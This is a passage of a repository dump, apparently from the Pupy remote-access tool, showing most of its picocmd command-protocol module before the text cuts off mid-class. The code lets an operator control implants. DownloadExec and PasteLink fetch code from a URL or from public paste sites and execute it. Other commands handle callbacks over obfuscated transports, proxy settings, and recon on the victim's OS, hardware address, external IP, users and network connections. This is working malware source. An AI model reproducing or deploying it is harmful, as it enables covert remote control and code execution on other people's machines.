u'cloudflare'), (806, 11, u'me'), (823, 11, u'pop3'), (831, 11, u'mobile'), (865, 11, u'verbundanwendung'), (880, 11, u'fr'), (961, 11, u'owa'), (984, 11, u'owncloud'), (990, 11, u'forum'), (995, 11, u'vpn'), (1009, 11, u'static'), (1017, 11, u'wiki'), (1022, 11, u'beta'), (1023, 11, u'or'), (268, 10, u'go'), (277, 10, u'uk'), (286, 10, u'git'), (294, 10, u'store'), (300, 10, u'portal'), (301, 10, u'ftp'), (312, 10, u'sip'), (313, 10, u'my'), (318, 10, u'imap'), (391, 10, u'app'), (408, 10, u'cdn'), (412, 10, u'support'), (414, 10, u'server'), (441, 10, u'demo'), (443, 10, u'smtp'), (487, 10, u'homeserver'), (493, 10, u'staging'), (494, 10, u'ac'), (496, 10, u'admin'), (500, 10, u'web'), (502, 10, u'pp'), (509, 10, u'gov'), (139, 9, u'google'), (144, 9, u'in'), (158, 9, u'cloud'), (194, 9, u'remote'), (210, 9, u'eu'), (211, 9, u'automattic'), (213, 9, u'tls'), (214, 9, u'api'), (215, 9, u'secure'), (217, 9, u'edu'), (241, 9, u'test'), (245, 9, u'm'), (249, 9, u'webmail'), (64, 8, u'blog'), (65, 8, u'dev'), (68, 8, u'beep'), (74, 8, u'*'), (77, 8, u'autodiscover'), (101, 8, u'net'), (104, 8, u'shop'), (111, 8, u'freeboxos'), (49, 7, u'org'), (14, 5, u'mail'), (5, 4, u'cloudflaressl'), (0, 3, u'co'), (1, 3, u'com'), (2, 2, u'www'), (3, 2, '\\x00')], 'freedns': [(0, 0, '\\x00')]}\n"
  },
  {
    "path": "pupy/network/lib/picocmd/picocmd.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'Command',\n    'Poll', 'Ack', 'Idle',\n    'SystemStatus',\n    'Sleep', 'CheckConnect',\n    'Reexec', 'Exit', 'Disconnect',\n    'Policy', 'Kex', 'SystemInfo',\n    'SetProxy', 'Connect', 'DownloadExec',\n    'PasteLink', 'OnlineStatus', 'PortQuizPort',\n    'OnlineStatusRequest', 'PupyState', 'CustomEvent',\n    'ConnectablePort', 'Error',\n\n    'SystemInfoEx', 'ConnectEx', 'RegisterHostnameId',\n    'DataTransferControl', 'DataTransferPayload', 'InBandExecute',\n\n    'ParcelInvalidCrc',\n    'ParcelInvalidPayload', 'ParcelInvalidCommand',\n    'Parcel', 'PackError', 'PayloadTooBig',\n    'UnregisteredTargetId',\n\n    'from_bytes', 'to_bytes',\n\n    'AddressTable'\n)\n\nimport sys\nimport struct\nimport netaddr\nimport re\nimport base64\nimport binascii\nimport time\nimport datetime\nimport platform\nimport uuid\nimport socket\n\nfrom pupy.network.lib.picocmd import (\n    baseconv, dns_encoder, dns_encoder_table\n)\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse\n\n    basestring = str\n    long = int\n    xrange = range\n\nelse:\n    from urlparse import urlparse\n\ntry:\n    import psutil\nexcept ImportError:\n    psutil = None\n\ntry:\n    import uidle\nexcept ImportError:\n    uidle = None\n\ntry:\n    from pupy.network.lib import online\nexcept ImportError:\n    online = None\n\n\ndef unpack_ip_address(packed):\n    if len(packed) == 4:\n        return netaddr.IPAddress(\n            netaddr.strategy.ipv4.packed_to_int(packed), 4\n        )\n    elif len(packed) == 16:\n        return netaddr.IPAddress(\n            netaddr.strategy.ipv6.packed_to_int(packed), 6\n        )\n    else:\n        raise NotImplementedError('Only 4 and 16 bytes are supported')\n\n\nclass PackError(Exception):\n    pass\n\n\nclass PayloadTooBig(Exception):\n    __slots__ = ('required_len', 'max_len')\n\n    def __init__(self, message, required_len, max_len):\n        return super(PayloadTooBig, self).__init__(message.format(\n            required_len=required_len, max_len=max_len))\n        self.required_len = required_len\n        self.max_len = max_len\n\n\nclass UnregisteredTargetId(PackError):\n    pass\n\n\nclass AddressTable(object):\n    __slots__ = ('table', 'auto_target_id')\n\n    def __init__(self):\n        self.table = {}\n        self.auto_target_id = 0\n\n    def get_target_id(self, address):\n        if address in self.table:\n            return self.table[address]\n\n        raise UnregisteredTargetId(address)\n\n    def get_address(self, target_id):\n        address = None\n        for this_address, this_target_id in self.table:\n            if self.table[this_target_id] == target_id:\n                address = this_address\n                break\n\n        if address is None:\n            raise UnregisteredTargetId(target_id)\n\n        return address\n\n    def _find_free_target_id(self):\n        auto_target_id_is_ok = True\n\n        for used_address in self.table:\n            used_target_id = self.table[used_address]\n\n            if self.auto_target_id == used_target_id:\n                auto_target_id_is_ok = False\n                break\n\n        if auto_target_id_is_ok:\n            target_id = self.auto_target_id\n            self.auto_target_id = (self.auto_target_id + 1) % 0xFFFF\n            return target_id\n\n        used_target_ids = set(self.table.values())\n        for target_id in xrange(0xFFFF):\n            if target_id not in used_target_ids:\n                return target_id\n\n        raise ValueError('No more free slots')\n\n    def register(self, address, target_id=None):\n        if target_id is None:\n            target_id = self._find_free_target_id()\n\n        self.table[address] = target_id\n\n        return target_id\n\n\ndef from_bytes(bytes):\n    return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))\n\n\ndef to_bytes(value, size=0):\n    value = int(value)\n    bytes = []\n    while value:\n        bytes.append(chr(value % 256))\n        value = value >> 8\n    bytes = b''.join(bytes)\n    bytes += b'\\x00'*(size-len(bytes))\n    return bytes\n\n\nclass EncodingTableUnregisteredElement(KeyError):\n    pass\n\n\nclass EncodingTable(object):\n    __slots__ = ('_encode', '_decode')\n\n    def __init__(self, *alphabet, **kwargs):\n        start = kwargs.get('start', 0)\n        self._decode = dict(enumerate(alphabet, start))\n        self._encode = {\n            self._decode[k]:k for k in self._decode\n        }\n\n    def is_registered(self, value):\n        return value in self._encode\n\n    def encode(self, value):\n        encoded = self._encode.get(value, None)\n        if encoded is None:\n            raise EncodingTableUnregisteredElement(value)\n\n        return encoded\n\n    def decode(self, value):\n        decoded = self._decode.get(value, None)\n        if decoded is None:\n            raise EncodingTableUnregisteredElement(value)\n\n        return decoded\n\n\nclass Command(object):\n    __slots__ = ()\n\n    session_required = False\n    internet_required = False\n\n    def pack(self):\n        return b''\n\n    @staticmethod\n    def unpack(data):\n        return Command(), 0\n\n    def get_dict(self):\n        return {\n            slot: getattr(self, slot) for slot in self.__slots__\n        }\n\n    def __repr__(self):\n        return '{' + self.__class__.__name__ + ': ' + ' '.join(\n            '{}={}'.format(slot.upper(), getattr(self, slot)) for slot in self.__slots__\n        ) + '}'\n\n\nclass Poll(Command):\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return Poll(), 0\n\n    def __repr__(self):\n        return '{POLL}'\n\n\nclass SystemStatus(Command):\n    __slots__ = ('cpu', 'users', 'mem', 'listen', 'remote', 'idle')\n\n    @staticmethod\n    def unpack(data):\n        return SystemStatus(*struct.unpack_from('BBBBBB', data)), 6\n\n    def __init__(self, cpu=None, users=None, mem=None, listen=None, remote=None, idle=None):\n        if cpu is None:\n            try:\n                self.cpu = int(psutil.cpu_percent())\n            except:\n                self.cpu = 0\n        else:\n            self.cpu = int(cpu)\n\n        if users is None:\n            try:\n                self.users = len(psutil.users())\n            except:\n                self.users = 0\n        else:\n            self.users = int(users)\n\n        if self.users > 255:\n            self.users = 255\n\n        if mem is None:\n            try:\n                self.mem = int(psutil.virtual_memory().percent)\n            except:\n                self.mem = 0\n        else:\n            self.mem = int(mem)\n\n        net_connections = None\n        if listen is None or remote is None:\n            try:\n                net_connections = psutil.net_connections()\n            except:\n                pass\n\n        if listen is None:\n            if net_connections:\n                self.listen = len(set([\n                    x.laddr[1] for x in net_connections\n                    if x.status == 'LISTEN'\n                ]))\n            else:\n                self.listen = 0\n        else:\n            self.listen = int(listen)\n\n        if self.listen > 255:\n            self.listen = 255\n\n        if remote is None:\n            if net_connections:\n                self.remote = len(set([\n                    x.raddr for x in net_connections \\\n                    if x.status=='ESTABLISHED' and x.raddr[0] not in (\n                        '127.0.0.1', '::ffff:127.0.0.1'\n                    )\n                ]))\n            else:\n                self.remote = 0\n        else:\n            self.remote = int(remote)\n\n        if self.remote > 255:\n            self.remote = 255\n\n        if idle is None:\n            if uidle is None:\n                self.idle = True\n            else:\n                try:\n                    idle = uidle.get_idle()\n                    if idle is None:\n                        self.idle = True\n                    else:\n                        self.idle = idle > 60*10\n                except:\n                    self.idle = True\n        else:\n            self.idle = bool(idle)\n\n    def get_dict(self):\n        return {\n            'cpu': self.cpu,\n            'mem': self.mem,\n            'listen': self.listen,\n            'remote': self.remote,\n            'users': self.users,\n            'idle': self.idle\n        }\n\n    def pack(self):\n        return struct.pack(\n            'BBBBBB',\n            self.cpu, self.users, self.mem,\n            self.listen, self.remote, self.idle\n        )\n\n    def __repr__(self):\n        return (\n            '{{SS: CPU:{cpu}% MEM:{mem}% L:{listen} ' + \\\n                'E:{remote} U:{users} I:{idle}}}').format(\n                    **self.get_dict())\n\n\nclass Ack(Command):\n    __slots__ = ('amount',)\n\n    def __init__(self, amount=0):\n        self.amount = amount\n\n    def pack(self):\n        return chr(self.amount)\n\n    @staticmethod\n    def unpack(data):\n        return Ack(amount=ord(data[0])), 1\n\n    def __repr__(self):\n        return '{{ACK ({})}}'.format(self.amount)\n\n\nclass Idle(Command):\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return Idle(), 0\n\n    def __repr__(self):\n        return '{IDLE}'\n\n\nclass Sleep(Command):\n    __slots__ = ('timeout',)\n\n    @staticmethod\n    def unpack(data):\n        return Sleep(\n            struct.unpack_from('<H', data)[0]\n        ), struct.calcsize('<H')\n\n    def pack(self):\n        return struct.pack('<H', self.timeout)\n\n    def __init__(self, timeout=30):\n        self.timeout = int(timeout)\n\n    def __repr__(self):\n        return '{{SLEEP: {}}}'.format(self.timeout)\n\n\nclass CheckConnect(Command):\n    __slots__ = ('host', 'port_start', 'port_end')\n\n    @staticmethod\n    def unpack(data):\n        host, port_start, port_end = struct.unpack_from('IHH', data)\n\n        host = netaddr.IPAddress(host)\n        return CheckConnect(\n            host, port_start, port_end\n        ), struct.calcsize('IHH')\n\n    def __init__(self, host, port_start, port_end):\n        try:\n            self.host = netaddr.IPAddress(host)\n        except:\n            self.host = netaddr.IPAddress(socket.gethostbyname(host))\n\n        self.port_start = port_start\n        self.port_end = None if port_end == 0 else port_end\n\n    def pack(self):\n        return struct.pack(\n            'IHH',\n            int(self.host), int(self.port_start), int(self.port_end)\n        )\n\n    def __repr__(self):\n        return '{{CHECK: {}:{}-{}}}'.format(\n            self.host, self.port_start, self.port_end)\n\n\nclass Reexec(Command):\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return Reexec(), 0\n\n    def __repr__(self):\n        return '{REEXEC}'\n\n\nclass Exit(Command):\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return Exit(), 0\n\n    def __repr__(self):\n        return '{EXIT}'\n\n\nclass Disconnect(Command):\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return Disconnect(), 0\n\n    def __repr__(self):\n        return '{DISCONNECT}'\n\n\nclass Policy(Command):\n    __slots__ = ('timestamp', 'poll', 'kex')\n\n    def __init__(self, poll, kex, timestamp=None):\n        self.timestamp = timestamp or time.time()\n        self.poll = poll\n        self.kex = kex\n\n    def pack(self):\n        field = (int(bool(self.kex)) << 31) | (self.poll & ((1<<30)-1))\n        return struct.pack('>II', field, self.timestamp)\n\n    def __repr__(self):\n        return '{{POLICY: POLL={} TIME={} KEX={}}}'.format(self.poll, self.timestamp, self.kex)\n\n    @staticmethod\n    def unpack(data):\n        field, timestamp = struct.unpack_from('>II', data)\n        kex = (field >> 31) & 1\n        poll = field & ((1<<30)-1)\n        return Policy(poll, kex, timestamp), 8\n\n\nclass Kex(Command):\n    __slots__ = ('parcel',)\n\n    def __init__(self, parcel):\n        self.parcel = parcel\n\n    def pack(self):\n        return struct.pack('B',len(self.parcel)) + self.parcel\n\n    def __repr__(self):\n        return '{{KEX: Q={}, SPI={:08x}}}'.format(binascii.b2a_hex(self.parcel), self.spi)\n\n    @property\n    def spi(self):\n        return struct.unpack('>I', self.parcel[0:4])[0]\n\n    @staticmethod\n    def unpack(data):\n        length = struct.unpack_from('B', data)[0]\n        return Kex(data[1:1+length]), 1+length\n\n\nclass SystemInfo(Command):\n\n    __slots__ = (\n        'system', 'arch', 'node', 'boottime',\n        'internal', 'external_ip', 'internet'\n    )\n\n    session_required = True\n\n    # To do, add more? Who knows how platform.uname looks like on other platforms?\n    # How many are there? Let's use 3 bits for that - 8 systems in total\n    well_known_os_names = EncodingTable(\n        'Linux', 'Windows', 'SunOS', 'android'\n    )\n\n    # Same question.\n    well_known_cpu_archs = EncodingTable(\n        'x86', 'x86', 'x64', 'x64', 'arm'\n    )\n\n    well_known_machines_equality = {\n        'i386': 'x86',\n        'i486': 'x86',\n        'i586': 'x86',\n        'i686': 'x86',\n        'x86_64': 'x64',\n        'amd64': 'x64',\n        'i86pc': 'x86',\n        'armv7l': 'arm',\n        'armv8l': 'arm',\n    }\n\n    def __init__(\n            self, system=None, arch=None,\n            node=None, external_ip=None,\n            internet=False, boottime=None\n        ):\n        self.system = system or platform.system()\n        self.arch = arch or platform.machine().lower()\n        self.arch = self.well_known_machines_equality.get(self.arch, self.arch)\n\n        self.node = node or uuid.getnode()\n        try:\n            if boottime:\n                self.boottime = boottime\n            else:\n                self.boottime = datetime.datetime.fromtimestamp(\n                    psutil.boot_time()\n                )\n        except:\n            self.boottime = datetime.datetime.fromtimestamp(0)\n\n        self.internet = bool(internet)\n        self.external_ip = external_ip\n        if external_ip is not None:\n            if external_ip in ['0.0.0.0', u'0.0.0.0', 0, netaddr.IPAddress('0.0.0.0')]:\n                self.external_ip = None\n            else:\n                self.external_ip = netaddr.IPAddress(external_ip)\n                if self.external_ip.version == 6:\n                    self.external_ip = None\n        elif online:\n            self.external_ip = online.external_ip(force_ipv4=True)\n            self.internet = online.online()\n\n    def pack(self):\n        # 3 bits for system, 3 bits for arch, 1 bit for internet\n        osid = self.well_known_os_names.encode(self.system)\n        archid = self.well_known_cpu_archs.encode(self.arch)\n        block = osid << 4 | archid << 1 | int(bool(self.internet))\n        boottime = int(time.mktime(self.boottime.timetuple()))\n        return struct.pack('B', block) + to_bytes(self.node, 6) + \\\n          struct.pack('>II', int(self.external_ip or 0), boottime)\n\n    def get_dict(self):\n        return {\n            'os': self.system,\n            'arch': self.arch,\n            'node': self.node,\n            'external_ip': self.external_ip,\n            'internet': self.internet,\n            'boottime': self.boottime\n        }\n\n    def __repr__(self):\n        return '{{SYS: OS={} ARCH={} NODE={:012X} IP={} INTERNET={} BOOT={}}}'.format(\n            self.system, self.arch, self.node, self.external_ip, self.internet, self.boottime.ctime()\n        )\n\n    @staticmethod\n    def unpack(data):\n        block, node, rest = data[:1], data[1:1+6], data[1+6:1+6+8]\n        block = ord(block)\n        osid = (block >> 4) & 7\n        archid = (block >> 1) & 7\n        internet = bool(block & 1)\n        node = from_bytes(node)\n\n        ip = 0\n        boottime = 0\n\n        try:\n            ip, boottime = struct.unpack('>II', rest)\n\n            try:\n                boottime = datetime.datetime.fromtimestamp(boottime)\n            except:\n                pass\n\n            try:\n                ip = netaddr.IPAddress(ip)\n            except:\n                pass\n\n        except:\n            pass\n\n        return SystemInfo(\n            system=SystemInfo.well_known_os_names.decode(osid),\n            node=node,\n            arch=SystemInfo.well_known_cpu_archs.decode(archid),\n            internet=internet,\n            external_ip=ip,\n            boottime=boottime\n        ), 1+6+8\n\n\nclass SetProxy(Command):\n    __slots__ = ('scheme', 'ip', 'port', 'user', 'password')\n\n    well_known_proxy_schemes = EncodingTable(\n        'none', 'socks4', 'socks5', 'http', 'any',\n        start=1\n    )\n\n    def __init__(self, scheme, ip, port, user=None, password=None):\n        if scheme == 'socks':\n            scheme = 'socks5'\n\n        self.scheme = scheme\n        try:\n            self.ip = netaddr.IPAddress(ip)\n        except:\n            self.ip = netaddr.IPAddress(\n                socket.gethostbyname(ip)\n            )\n\n        self.port = int(port)\n        self.user = user\n        self.password = password\n\n        if self.user and not self.password:\n            self.password = ''\n\n    def pack(self):\n        scheme = chr(self.well_known_proxy_schemes.encode(self.scheme))\n        ip = struct.pack('>I', int(self.ip))\n        port = struct.pack('>H', int(self.port))\n        user = self.user or ''\n        password = self.password or ''\n        user = chr(len(user))+user\n        password = chr(len(password))+password\n        return scheme + ip + port + user + password\n\n    @staticmethod\n    def unpack(data):\n        sip = struct.calcsize('>BIH')\n        scheme, ip, port = struct.unpack_from('>BIH', data)\n        scheme = SetProxy.well_known_proxy_schemes.decode(scheme)\n        ip = netaddr.IPAddress(ip)\n        data = data[sip:]\n\n        user = ''\n        password = ''\n\n        user_len = ord(data[0])\n        if user_len:\n            user = data[1:1+user_len]\n\n        data = data[1+user_len:]\n\n        pass_len = ord(data[0])\n        if pass_len:\n            password = data[1:1+pass_len]\n\n        return SetProxy(scheme, ip, port, user, password), sip+user_len+pass_len+2\n\n    def __repr__(self):\n        if self.scheme == 'none':\n            return '{{PROXY: DISABLED}}'\n        elif self.scheme == 'any':\n            return '{{PROXY: ENABLED}}'\n\n        if self.user and self.password:\n            auth = '{}:{}@'.format(self.user, self.password)\n        else:\n            auth = ''\n\n        return '{{PROXY: {}://{}{}:{}}}'.format(\n            self.scheme, auth, self.ip, self.port\n        )\n\n\nclass Connect(Command):\n    __slots__ = ('ip', 'port', 'transport')\n\n    well_known_transports = EncodingTable(\n        'obfs3', 'kc4', 'http', 'tcp_cleartext', 'rsa',\n        'ssl', 'udp_cleartext', 'scramblesuit', 'ssl_rsa',\n        'ec4', 'ws', 'ecm',\n        start=1\n    )\n\n    def __init__(self, ip, port, transport='ssl'):\n        self.transport = transport\n        try:\n            self.ip = netaddr.IPAddress(ip)\n        except:\n            self.ip = netaddr.IPAddress(\n                socket.gethostbyname(ip)\n            )\n\n        self.port = int(port)\n\n    def pack(self):\n        message = b''\n        if self.well_known_transports.is_registered(self.transport):\n            code = (1 << 7) | self.well_known_transports.encode(self.transport)\n            message = message + struct.pack('B', code)\n        else:\n            code = len(self.transport)\n            if code > 0x7F:\n                raise PackError(\n                    'Transport name {} can not be encoded'.format(self.transport))\n\n            message = message + struct.pack('B', code) + self.transport\n\n        message = message + struct.pack('>I', int(self.ip))\n        message = message + struct.pack('>H', int(self.port))\n\n        return struct.pack('B', len(message)) + message\n\n    def __repr__(self):\n        return '{{CONNECT: TRANSPORT={} IP={} PORT={}}}'.format(\n            self.transport, self.ip, self.port\n        )\n\n    @staticmethod\n    def unpack(data):\n        length = struct.unpack_from('B', data)[0]\n        data = data[1:1+length]\n        transport, rest = data[:1], data[1:]\n        transport = struct.unpack('B', transport)[0]\n        if transport & 1<<7:\n            transport = Connect.well_known_transports.decode(transport & (1<<7)-1)\n        else:\n            transport, rest = rest[:transport], rest[transport:]\n\n        host, port = rest[:4], rest[4:]\n        host = str(netaddr.IPAddress(struct.unpack('>I', host)[0]))\n        port = struct.unpack('>H', port)[0]\n\n        return Connect(host, port, transport), 1+length\n\n\nclass DownloadExec(Command):\n\n    __slots__ = ('proxy', 'url', 'action')\n\n    # 2 bits - 3 max\n    well_known_downloadexec_action = EncodingTable(\n        'pyexec', 'exec', 'sh'\n    )\n\n    # 3 bits - 7 max\n    well_known_downloadexec_scheme = EncodingTable(\n        'http', 'https', 'ftp', 'tcp', 'udp', 'tls'\n    )\n\n    def __init__(self, url, action='pyexec', proxy=False):\n        self.proxy = bool(proxy)\n        self.url = url\n        self.action = action\n\n    def pack(self):\n        try:\n            action = self.well_known_downloadexec_action.encode(self.action)\n        except:\n            raise PackError('Unknown action: {}'.format(self.action))\n\n        url = urlparse(self.url)\n\n        try:\n            addr = netaddr.IPAddress(url.hostname)\n        except:\n            addr = netaddr.IPAddress(socket.gethostbyname(url.hostname))\n\n        if not addr.version == 4:\n            raise PackError('IPv6 unsupported')\n\n        addr = int(addr)\n        if url.port:\n            port = int(url.port)\n        else:\n            port = 0\n\n        path = url.path\n\n        if len(path) > 16:\n            raise PackError('Too big url path')\n\n        try:\n            scheme = self.well_known_downloadexec_scheme.encode(url.scheme)\n        except EncodingTableUnregisteredElement:\n            raise PackError('Unknown scheme: {}'.format(url.scheme))\n\n        code = (self.proxy << 5) | (action << 3) | scheme\n\n        return struct.pack(\n            'BIHB', code, addr, port, len(path)\n        ) + path\n\n    def __repr__(self):\n        return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format(\n            self.url, self.action, self.proxy\n        )\n\n    @staticmethod\n    def unpack(data):\n        bsize = struct.calcsize('BIHB')\n        code, addr, port, plen = struct.unpack_from('BIHB', data)\n        action = DownloadExec.well_known_downloadexec_action.decode((code >> 3) & 3)\n        scheme = DownloadExec.well_known_downloadexec_scheme.decode(code & 7)\n        proxy = bool((code >> 5) & 1)\n        host = str(netaddr.IPAddress(addr))\n        port = ':{}'.format(port) if port else (\n            '' if scheme in ('http', 'ftp', 'https') else 53\n        )\n        path = data[bsize:bsize+plen]\n        return DownloadExec('{}://{}{}{}'.format(\n            scheme, host, port, path\n        ), action, proxy), bsize+plen\n\n\nclass PasteLink(Command):\n\n    __slots__ = ('url', 'action')\n\n    internet_required = True\n\n    # 15 max - 4 bits\n    well_known_paste_services = [(\n        'http://pastebin.com/raw/{}',\n        base64.b64decode,\n        base64.b64encode,\n    ), (\n        'https://phpaste.sourceforge.io/demo/paste.php?download&id={}',\n        lambda x: to_bytes(x),\n        lambda x: str(from_bytes(x)),\n    ), (\n        'http://ix.io/{}',\n        lambda x: to_bytes(baseconv.base62.decode(x)),\n        lambda x: baseconv.base62.encode(from_bytes(x)),\n    ), (\n        'https://ghostbin.com/paste/{}/download',\n        lambda x: to_bytes(baseconv.base36.decode(x)),\n        lambda x: baseconv.base36.encode(from_bytes(x)),\n    ), (\n        'https://hastebin.com/raw/{}',\n        lambda x: to_bytes(baseconv.base62.decode(x)),\n        lambda x: baseconv.base62.encode(from_bytes(x)),\n    ), (\n        'http://vpaste.net/{}',\n        lambda x: to_bytes(baseconv.base62.decode(x)),\n        lambda x: baseconv.base62.encode(from_bytes(x)),\n    ), (\n        'http://dpaste.com/{}.txt',\n        lambda x: to_bytes(baseconv.base62.decode(x)),\n        lambda x: baseconv.base62.encode(from_bytes(x)),\n    ), (\n        'http://paste.openstack.org/raw/{}/',\n        lambda x: to_bytes(long(x)),\n        lambda x: str(from_bytes(x)),\n    ), (\n        'https://friendpaste.com/{}/raw',\n        lambda x: to_bytes(baseconv.base62.decode(x)),\n        lambda x: baseconv.base62.encode(from_bytes(x)),\n    ), (\n        'http://lpaste.net/raw/{}',\n        lambda x: to_bytes(long(x)),\n        lambda x: str(from_bytes(x)),\n    )]\n\n    well_known_paste_services_encode = {\n        k:i for i, k in enumerate(well_known_paste_services)\n    }\n\n    well_known_paste_services_decode = {\n        i:k for k,i in well_known_paste_services_encode.items()\n    }\n\n    # 4 max - 2 bits\n    well_known_pastebin_action = EncodingTable(\n        'pyexec', 'exec', 'sh'\n    )\n\n    def __init__(self, url, action='pyexec'):\n        self.url = url\n        self.action = action\n\n    def pack(self):\n        message = b''\n\n        well_known_found = False\n\n        if not self.well_known_pastebin_action.is_registered(self.action):\n            raise PackError('User-defined actions are not supported')\n\n        for key in self.well_known_paste_services_encode:\n            service, encode, decode = key\n            code = self.well_known_paste_services_encode[key]\n\n            match = re.match(service.format('(.*)'), self.url)\n            if match:\n                paste = encode(match.groups()[0])\n                message = struct.pack(\n                    'BB',\n                    (1<<7) | (self.well_known_pastebin_action.encode(self.action) << 5) | code,\n                    len(paste)\n                ) + paste\n                well_known_found = True\n                break\n\n        if not well_known_found:\n            if len(self.url) > 32:\n                raise PackError('Url size of user-defined urls limited to 25 bytes')\n\n            message = struct.pack(\n                'B',\n                self.well_known_pastebin_action.encode(self.action) << 5 | len(self.url)\n            ) + self.url\n\n        return message\n\n    def __repr__(self):\n        return '{{PASTE: URL={} ACTION={} }}'.format(\n            self.url, self.action\n        )\n\n    @staticmethod\n    def unpack(data):\n        h1 = struct.unpack_from('B', data)[0]\n        if h1 & (1<<7):\n            action = PasteLink.well_known_pastebin_action.decode((h1 >> 5) & 3)\n            urltpl, encode, decode = PasteLink.well_known_paste_services_decode[h1 & 7]\n            _, length = struct.unpack_from('BB', data)\n            url = urltpl.format(decode(data[2:2+length]))\n            return PasteLink(url, action), 2+length\n        else:\n            action = PasteLink.well_known_pastebin_action.decode((h1 >> 5) & 3)\n            length = h1 & 31\n            return PasteLink(data[1:length+1], action), 1+length\n\n\nclass OnlineStatus(Command):\n\n    __slots__ = ('offset', 'mintime', 'register')\n\n    @staticmethod\n    def unpack(data):\n        total, offset, mintime, register = struct.unpack_from('>BhHI', data)\n        return OnlineStatus(offset, mintime, register), total\n\n    def __init__(self, offset=None, mintime=None, register=None):\n        if register is None or mintime is None:\n            offset, mintime, register = online.check()\n\n        self.offset = offset\n        self.mintime = mintime\n        self.register = register\n\n    def pack(self):\n        return struct.pack('>BhHI', 8+1, self.offset, self.mintime, self.register)\n\n    def get_dict(self):\n        result = online.bits_to_dict(self.register)\n        if self.mintime == 65535:\n            result.update({\n                'mintime': 'MAX'\n            })\n        else:\n            result.update({\n                'mintime': '{:.3f}s'.format(float(self.mintime)/1000)\n            })\n\n        if result['ntp']:\n            if self.offset in (32767, -32768):\n                word = 'MAX'\n                if self.offset < 0:\n                    word = 'MIN'\n\n                result.update({\n                    'ntp-offset': word\n                })\n            else:\n                result.update({\n                    'ntp-offset': '{:.3f}s'.format(float(self.offset)/1000000)\n                })\n        else:\n            result.update({\n                'ntp-offset': 'N/A'\n            })\n\n        return result\n\n    def __str__(self):\n        return '{{ONLINE: {}}}'.format(\n            ' '.join(\n                '{}={}'.format(\n                    k.upper(),\n                    v if type(v) in (int, basestring, bool) else any([\n                        x for x in v.values()\n                    ])) for k,v in self.get_dict().items()))\n\n\nclass PortQuizPort(Command):\n\n    __slots__ = ('ports',)\n\n    @staticmethod\n    def unpack(data):\n        ports_count, = struct.unpack_from('B', data)\n        ports = struct.unpack_from('>' + 'H'*ports_count, data[1:])\n        return PortQuizPort(ports), 1 + ports_count*2\n\n    def __init__(self, ports):\n        self.ports = [int(x) for x in ports]\n\n    def pack(self):\n        ports_count = len(self.ports)\n        ports = struct.pack('>' + 'H'*ports_count, *self.ports)\n        ports_count = struct.pack('B', ports_count)\n        return ports_count + ports\n\n    def __str__(self):\n        return '{{PORTQUIZ: {}}}'.format(','.join(str(x) for x in sorted(self.ports)))\n\n\nclass OnlineStatusRequest(Command):\n\n    __slots__ = ()\n\n    @staticmethod\n    def unpack(data):\n        return OnlineStatusRequest(), 0\n\n    def __repr__(self):\n        return '{ONLINE-STATUS-REQUEST}'\n\n\nclass PupyState(Command):\n\n    __slots__ = (\n        'connected', 'pstore_dirty',\n        'has_ipv6', 'support_connect_v2',\n        'has_emergency_mode'\n    )\n\n    IS_CONNECTED = (1 << 0)\n    IS_DIRTY = (1 << 1)\n    HAS_IPV6 = (1 << 2)\n    SUPPORT_CONNECT_V2 = (1 << 3)\n    HAS_EMERGENCY_MODE = (1 << 4)\n\n    @staticmethod\n    def unpack(data):\n        records_count, = struct.unpack_from('B', data)\n        records = struct.unpack_from('B'*records_count, data[1:])\n\n        connected = records[0] & PupyState.IS_CONNECTED\n        pstore_dirty = records[0] & PupyState.IS_DIRTY\n        has_ipv6 = records[0] & PupyState.HAS_IPV6\n        support_connect_v2 = records[0] & PupyState.SUPPORT_CONNECT_V2\n        has_emergency_mode = records[0] & PupyState.HAS_EMERGENCY_MODE\n\n        return PupyState(\n            connected, pstore_dirty, has_ipv6, support_connect_v2,\n            has_emergency_mode\n        ), records_count + 1\n\n    def pack(self):\n        records_count = 1\n        record = 0\n        if self.connected:\n            record |= PupyState.IS_CONNECTED\n\n        if self.pstore_dirty:\n            record |= PupyState.IS_DIRTY\n\n        if self.has_ipv6:\n            record |= PupyState.HAS_IPV6\n\n        if self.support_connect_v2:\n            record |= PupyState.SUPPORT_CONNECT_V2\n\n        if self.has_emergency_mode:\n            record |= PupyState.HAS_EMERGENCY_MODE\n\n        return struct.pack(\n            'B' + 'B'*records_count, records_count, record)\n\n    def __init__(\n        self, connected=False, pstore_dirty=False,\n            has_ipv6=False, support_connect_v2=True, has_emergency_mode=False):\n\n        self.connected = connected\n        self.pstore_dirty = pstore_dirty\n        self.has_ipv6 = has_ipv6\n        self.support_connect_v2 = support_connect_v2\n        self.has_emergency_mode = has_emergency_mode\n\n    def __repr__(self):\n        return '{{PUPY-STATE: CONNECTED={} PSTORE={} ' \\\n          'IPV6={} CONNV2={} EMERGENCY={}}}'.format(\n            self.connected, self.pstore_dirty,\n              self.has_ipv6, self.support_connect_v2, self.has_emergency_mode)\n\n\nclass ConnectablePort(Command):\n\n    __slots__ = ('ip', 'ports')\n\n    @staticmethod\n    def unpack(data):\n        ip, ports_count = struct.unpack_from('>IB', data)\n        ports = struct.unpack_from('>'+'H'*ports_count, data[5:])\n        ip = netaddr.IPAddress(ip)\n        return ConnectablePort(ip, ports), 4 + 1 + ports_count*2\n\n    def __init__(self, ip, ports):\n        try:\n            self.ip = netaddr.IPAddress(ip)\n        except:\n            self.ip = netaddr.IPAddress(socket.gethostbyname(ip))\n\n        self.ports = ports\n\n    def pack(self):\n        ports_count = len(self.ports)\n        ports = struct.pack('>'+'H'*ports_count, *self.ports)\n        header = struct.pack('>IB', int(self.ip), ports_count)\n        return header + ports\n\n    def __str__(self):\n        return '{{OPEN: {}:{}}}'.format(self.ip, ','.join(str(x) for x in self.ports))\n\n\ndef isset(flags, flag):\n    return flags & flag == flag\n\n\nclass SystemInfoEx(Command):\n    __slots__ = (\n        'version',\n\n        'os', 'arch', 'node', 'boottime', 'internet',\n        